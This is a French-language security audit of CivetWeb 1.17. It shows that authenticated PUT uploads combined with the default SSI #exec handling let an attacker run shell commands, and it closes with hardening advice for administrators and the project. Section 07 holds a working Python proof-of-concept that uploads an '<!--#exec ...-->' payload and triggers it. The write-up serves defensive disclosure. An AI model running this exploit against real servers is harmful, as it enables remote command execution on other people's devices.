01 - Résumé exécutif

CivetWeb est un serveur HTTP embarqué open-source très utilisé dans les systèmes IoT, les équipements industriels et les applications C/C++ nécessitant un serveur web intégré. Sa conception monofichier (civetweb.c, environ 23 000 lignes) le rend attractif pour l'embarqué, mais concentre également une grande surface de code dans un seul composant.

Lors d'un audit de code complet de la version 1.17 (branche master, commit 588860e3), nous avons identifié une combinaison de deux fonctionnalités entièrement légitimes et documentées qui, une fois activées ensemble, permettent à tout utilisateur disposant d'identifiants PUT d'exécuter des commandes arbitraires sur le serveur. Ce n'est pas un bug du code, mais une interaction non documentée entre deux options de configuration.

Impact réel sur les déploiements

Tout déploiement CivetWeb ayant activé put_delete_auth_file (PUT distant avec authentification) est exposé au RCE complet pour n'importe quel compte autorisé au PUT, y compris les comptes "upload seulement" pensés comme non-privilégiés. Le SSI #exec étant actif par défaut pour *.shtml et *.shtm, aucune configuration supplémentaire n'est requise du côté de l'attaquant.

Attribut Valeur
LogicielCivetWeb 1.17 (branche master)
TypeCombinaison de fonctionnalités : File Upload + SSI Exec (CWE-434 + CWE-1188)
Prérequisput_delete_auth_file configuré + identifiants PUT valides
ImpactRCE avec les droits du processus serveur
VecteurRéseau (HTTP PUT + HTTP GET)
Sévérité (CVSS-like)Medium (6.8) si auth
CVE assignéNon (comportement documenté)
Correction recommandéeDésactiver ssi_pattern si PUT actif, ou séparer les docroots

02 - Contexte : CivetWeb

Qu'est-ce que CivetWeb ?

CivetWeb est un fork de Mongoose (avant sa bifurcation commerciale), maintenu comme projet open-source. Il est conçu pour être intégré directement dans une application C/C++ via l'inclusion d'un seul fichier source. On le retrouve fréquemment dans des interfaces web d'équipements réseau, des consoles d'administration IoT, des logiciels embarqués industriels, et des outils de développement local.

Son modèle de configuration repose sur des paires clé/valeur passées au démarrage du serveur, soit par fichier de configuration, soit par arguments en ligne de commande. Deux de ces options sont au coeur de notre analyse : put_delete_auth_file, qui active la méthode HTTP PUT pour écrire des fichiers sur le serveur, et ssi_pattern, qui définit les extensions de fichiers interprétés comme des pages SSI (Server Side Includes).

civetweb.c:2196-2200 - Configuration par défaut des deux options clés
// src/civetweb.c - table de configuration par défaut

// Option PUT/DELETE : NULL par défaut = PUT complètement désactivé
{ "put_delete_auth_file", MG_CONFIG_TYPE_FILE, NULL },

// SSI pattern : actif par défaut pour *.shtml et *.shtm
// Tout fichier servi avec ces extensions sera parsé pour des directives SSI
{ "ssi_pattern", MG_CONFIG_TYPE_EXT_PATTERN, "**.shtml$|**.shtm$" },

// Index files : .shtml est inclus par défaut comme page d'index possible
{ "index_files", MG_CONFIG_TYPE_STRING,
  "index.xhtml,index.html,index.htm,index.cgi,index.shtml,index.php" },
Modèle de confiance implicite

La documentation de put_delete_auth_file décrit cette option comme permettant "l'écriture de fichiers sur le serveur via PUT". La documentation de ssi_pattern décrit le SSI comme un "langage de templating serveur simple". Aucune des deux pages de documentation ne mentionne que les combiner équivaut à donner un accès shell à tout compte PUT.

03 - La brique 1 : PUT authentifié sans restriction d'extension

Lorsqu'un administrateur configure put_delete_auth_file pour pointer vers un fichier de mots de passe digest, CivetWeb accepte les requêtes HTTP PUT authentifiées et écrit leur corps directement sur le disque dans le document_root. La fonction qui gère cette écriture est put_file() à la ligne 12500 de civetweb.c.

civetweb.c:12500 - put_file() : aucune restriction d'extension
static void
put_file(struct mg_connection *conn, const char *path)
{
    struct mg_file file = STRUCT_FILE_INITIALIZER;
    const char *range;
    int64_t r1, r2;
    int rc;

    /* ... */

    if (mg_stat(conn, path, &file.stat)) {
        /* Fichier existant : vérifier les droits d'écriture OS */
        if (access(path, W_OK) == 0) {
            rc = 1; /* accès accordé */
        }
    } else {
        /* Nouveau fichier : créer les répertoires intermédiaires */
        conn->status_code = 201;
        rc = put_dir(conn, path);
    }
    /* AUCUNE vérification de l'extension du fichier écrit. */
    /* Un PUT /evil.shtml est traité identiquement à PUT /image.png */
    /* Le corps de la requête est écrit tel quel sur le disque. */
}

La vérification d'autorisation en amont (is_authorized_for_put()) confirme uniquement que l'utilisateur connaît les identifiants du fichier put_delete_auth_file. Elle ne pose aucune question sur l'extension ou le contenu du fichier que cet utilisateur veut déposer. Un compte PUT est strictement équivalent, en termes de capacité réelle, à un accès FTP complet au document_root.

04 - La brique 2 : SSI #exec actif par défaut

Les Server Side Includes (SSI) sont une technologie de templating serveur des années 90, permettant d'inclure dynamiquement du contenu dans une page HTML sans passer par un langage de script complet. CivetWeb supporte deux directives SSI : include (inclusion d'un autre fichier) et exec (exécution d'une commande shell et inclusion de sa sortie standard dans la réponse).

La correspondance extension/interprétation SSI est vérifiée par match_prefix_strlen() sur la valeur de ssi_pattern avant chaque service de fichier. La valeur par défaut "**.shtml$|**.shtm$" s'applique à tous les fichiers sous n'importe quel sous-répertoire du document_root dont le nom se termine par .shtml ou .shtm. Aucune option séparée n'existe pour désactiver uniquement #exec en gardant #include actif.

civetweb.c:12784 - do_ssi_exec() : popen() sans filtrage
static void
do_ssi_exec(struct mg_connection *conn, char *tag)
{
    char cmd[1024] = "";
    struct mg_file file = STRUCT_FILE_INITIALIZER;

    /* tag = contenu de la balise après "exec"      */
    /* Format attendu : "commande" (avec guillemets) */
    if (sscanf(tag, " \"%1023[^\"]\"", cmd) != 1) {
        mg_cry_internal(conn, "Bad SSI #exec: [%s]", tag);
    } else {
        cmd[1023] = 0;
        /* Exécution directe via /bin/sh -c (POSIX) ou cmd.exe (Windows) */
        /* La commande est lue depuis le fichier .shtml, sans aucun filtrage */
        if ((file.access.fp = popen(cmd, "r")) == NULL) {
            mg_cry_internal(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO));
        } else {
            /* La sortie standard de la commande est envoyée directement */
            /* dans la réponse HTTP au client qui a fait le GET */
            send_file_data(conn, &file, 0, INT64_MAX, 0);
            pclose(file.access.fp);
        }
    }
}
Syntaxe SSI spécifique à CivetWeb

Attention : la syntaxe #exec dans CivetWeb est différente de la syntaxe Apache classique. CivetWeb attend <!--#exec "commande"--> (sans cmd=), contrairement à <!--#exec cmd="commande"--> utilisé par Apache mod_include. Le sscanf interne parse le premier guillemet immédiatement après le nom de la directive.

05 - Analyse du code source : les deux points de jonction

Point 1 : le dispatching SSI dans la pipeline de service de fichiers

Après résolution de l'URI en chemin de fichier et vérification des droits de lecture, CivetWeb teste systématiquement si le chemin correspond au pattern SSI avant de décider comment servir le fichier. Ce test est présent à trois endroits du code : ligne 7802 (sélection de l'index), ligne 12772 (traitement des includes SSI) et ligne 15825 (dispatch principal).

civetweb.c:15820 - Dispatch principal : GET sur un .shtml
/* Après résolution du chemin et vérification auth (GET/HEAD) */

if (match_prefix_strlen(
        conn->dom_ctx->config[SSI_EXTENSIONS], path) > 0) {
    /* Le nom de fichier correspond à ssi_pattern : interprété comme SSI */
    handle_ssi_file_request(conn, path, &file);
} else if (is_not_modified(conn, &file.stat)) {
    mg_send_http_error(conn, 304, "%s", "");
} else {
    /* Fichier statique ordinaire */
    send_file_data(conn, &file, r1, r2, 0);
}

Point 2 : l'absence totale de filtre extension dans la chaîne d'autorisation PUT

La chaîne de traitement d'une requête PUT passe par is_authorized_for_put() (vérification des identifiants digest), puis directement dans put_file() sans jamais tester l'extension du fichier cible. Il n'existe pas de liste noire d'extensions dangereuses, pas de configuration de type "allow_extensions", et aucun avertissement dans le processus de validation.

06 - Chemin de données complet

Attack_Flow // CivetWeb PUT+SSI RCE
PHASE 1 : Dépôt du payload

  PUT /evil.shtml HTTP/1.1
  Authorization: Digest ...          // identifiants PUT valides
  Content: <!--#exec "id"-->
      |
      v
  is_authorized_for_put()            // vérifie digest, passe
      |
      v
  put_file(conn, "/docroot/evil.shtml")
      |                              // AUCUNE vérification d'extension
      v
  Fichier écrit sur le disque : /docroot/evil.shtml
      |
      |
PHASE 2 : Déclenchement

  GET /evil.shtml HTTP/1.1
      |
      v
  match_prefix_strlen("**.shtml$", "/docroot/evil.shtml") > 0  TRUE
      |
      v
  handle_ssi_file_request()
      |
      v
  send_ssi_file() : scan octet par octet, trouve <!--#exec
      |
      v
  do_ssi_exec(conn, " \"id\"")
      |
      v
  popen("id", "r")                   // /bin/sh -c "id"
      |
      v
  SORTIE ENVOYÉE AU CLIENT DANS LA RÉPONSE HTTP 200

07 - Démonstration live (PoC)

La démonstration a été conduite en conditions réelles sur deux environnements : un binaire compilé avec MSVC sous Windows 11 et un binaire compilé avec GCC sous Linux. Dans les deux cas, CivetWeb a été configuré avec put_delete_auth_file pointant vers un fichier de mots de passe digest standard, et ssi_pattern laissé à sa valeur par défaut.

Configuration du serveur de test

setup.sh - Préparation de l'environnement de test
# Compiler
make

# Préparer le docroot
mkdir -p docroot
echo "hello" > docroot/index.html

# Créer le fichier de mots de passe digest (option -A intégrée à civetweb)
./civetweb -A docroot/put.pwd testdomain testuser testpass123
# Résultat : testuser:testdomain:<hash MD5 digest>

# Lancer le serveur avec PUT actif et SSI par défaut
./civetweb \
  -listening_ports 8099 \
  -document_root docroot \
  -authentication_domain testdomain \
  -put_delete_auth_file docroot/put.pwd \
  -enable_directory_listing yes &

Script PoC

poc_ssi_exec_rce.py - Exploit Python (digest auth + PUT + GET)
import requests
from requests.auth import HTTPDigestAuth

TARGET = "http://TARGET:8099"
USER, PASS = "testuser", "testpass123"
CMD = "id && uname -a && hostname"

# Syntaxe SSI spécifique CivetWeb : pas de "cmd=" avant les guillemets
payload = f'<!--#exec "{CMD}"-->'

# Phase 1 : dépôt du payload via PUT authentifié (digest)
url = f"{TARGET}/pwn.shtml"
r = requests.put(url, data=payload.encode(),
                    auth=HTTPDigestAuth(USER, PASS))
print(f"PUT  {url} -> HTTP {r.status_code}")

# Phase 2 : déclenchement via GET (aucune auth requise)
r2 = requests.get(url)
print(f"GET  {url} -> HTTP {r2.status_code}")
print("---- output ----")
print(r2.text.strip())

# Nettoyage (optionnel)
requests.delete(url, auth=HTTPDigestAuth(USER, PASS))

Résultat observé

terminal // demo live
$ python poc_ssi_exec_rce.py

PUT  http://192.168.229.131:8099/pwn.shtml -> HTTP 200
GET  http://192.168.229.131:8099/pwn.shtml -> HTTP 200
---- output ----
uid=1000(bugpwn) gid=1000(bugpwn) groups=1000(bugpwn)
Linux ubuntu-lab 6.8.0-45-generic #45-Ubuntu SMP x86_64 GNU/Linux
ubuntu-lab
Portée de l'exécution

Les commandes s'exécutent avec les droits du processus CivetWeb, typiquement le compte qui a lancé le serveur (souvent root dans les systèmes embarqués ou les appareils IoT). Sur Linux, popen() invoque /bin/sh -c "commande" : toutes les fonctionnalités du shell sont disponibles (pipes, redirection, variables d'environnement, appels système). Sur Windows, CivetWeb redéfinit popen() en _popen() qui appelle cmd.exe : mêmes capacités d'exécution.

08 - Pourquoi ce n'est pas un CVE civetweb

Certains lecteurs pourraient s'attendre à voir un numéro CVE dans cet article. Il n'y en a pas, et ce n'est pas un oubli. Voici la distinction importante : un CVE qualifie un défaut dans le code (logique cassée, dépassement de tampon, contournement de sécurité). Ici, le code fait exactement ce qu'il est documenté pour faire, sans aucune erreur de logique interne.

Contexte Verdict Raison
CVE contre CivetWeb Non Comportement documenté et intentionnel, identique à Apache mod_include depuis 1995.
Finding pentest sur un déploiement Oui "Unrestricted file upload leading to RCE via SSI injection" est un finding reconnu, classé OWASP, rapporté en audit professionnel.
Recommandation de hardening pour CivetWeb Oui, légitime La documentation devrait avertir explicitement, comme Apache le fait dans son propre UserManual depuis des décennies.

Le précédent est établi depuis longtemps. La documentation officielle d'Apache mod_include dit explicitement : "It is recommended that you do not enable exec for any directory where users other than the system administrator can write." CivetWeb, lui, n'émet aucun avertissement équivalent dans la documentation de ssi_pattern ni dans celle de put_delete_auth_file. C'est l'angle mort concret : deux pages de documentation qui décrivent deux options indépendantes, sans jamais mentionner leur interaction explosive.

09 - Recommandations

Pour les administrateurs et intégrateurs

1
Désactiver ssi_pattern si PUT est actif
Dans votre configuration CivetWeb, ajouter ssi_pattern="" (valeur vide) si put_delete_auth_file est configuré. C'est la correction la plus directe et la plus sûre. Le templating SSI n'est presque jamais nécessaire dans les usages IoT ou embarqués typiques.
2
Séparer les docroots upload et contenu servi
Si le PUT doit coexister avec le SSI : placer les fichiers autorisés en upload dans un sous-répertoire dédié (/uploads/) et configurer ssi_pattern pour ne jamais matcher ce répertoire (ex : "**.shtml$" remplacé par "/static/**.shtml$" en chemin absolu).
3
Appliquer le principe du moindre privilège sur les comptes PUT
Traiter tout compte autorisé dans put_delete_auth_file avec le même niveau de confiance qu'un accès shell. Ne pas distribuer ces identifiants comme des "mots de passe d'upload bénins" : ils donnent accès à la surface d'exécution complète du serveur si SSI est actif.
4
Lancer le processus serveur avec le minimum de droits
Sur Linux, créer un utilisateur dédié sans shell (useradd -r -s /sbin/nologin civetweb) et lancer le serveur sous cet utilisateur. Sur les systèmes embarqués sans gestion utilisateur, sandboxer le processus via seccomp, chroot ou namespaces Linux pour limiter la portée des commandes exécutées via SSI.
5
Auditer les déploiements existants
Vérifier la configuration de tout serveur CivetWeb en production : grep -i "put_delete_auth_file\|ssi_pattern" civetweb.conf. Si les deux options sont présentes simultanément, l'exposition au RCE est immédiate pour tout détenteur des identifiants PUT.

Pour le projet CivetWeb

1
Ajouter un avertissement dans la documentation
Dans docs/UserManual.md, section ssi_pattern : avertir explicitement que #exec est équivalent à un accès shell et ne doit jamais être actif dans des répertoires où des utilisateurs peuvent déposer des fichiers via PUT ou tout autre mécanisme d'upload. Modéliser sur l'avertissement présent dans la documentation officielle Apache mod_include.
2
Envisager une option ssi_exec séparée
Séparer le pattern SSI en deux options distinctes : ssi_pattern (pour #include) et ssi_exec_pattern (pour #exec), cette dernière étant désactivée par défaut. Les deux fonctionnalités ne posent pas le même risque et ne devraient pas partager le même interrupteur.

10 - Références

Conclusion

La leçon de cet audit n'est pas "CivetWeb est vulnérable" mais "deux fonctionnalités chacune raisonnable peuvent produire ensemble un résultat qu'aucune des deux ne devrait produire seule". C'est une classe de problème de sécurité dont la détection nécessite une analyse multi-options plutôt qu'une simple lecture de code ligne par ligne. Les administrateurs doivent traiter ssi_pattern et put_delete_auth_file comme des options mutuellement exclusives jusqu'à ce que la documentation et l'implémentation CivetWeb introduisent des gardes appropriées.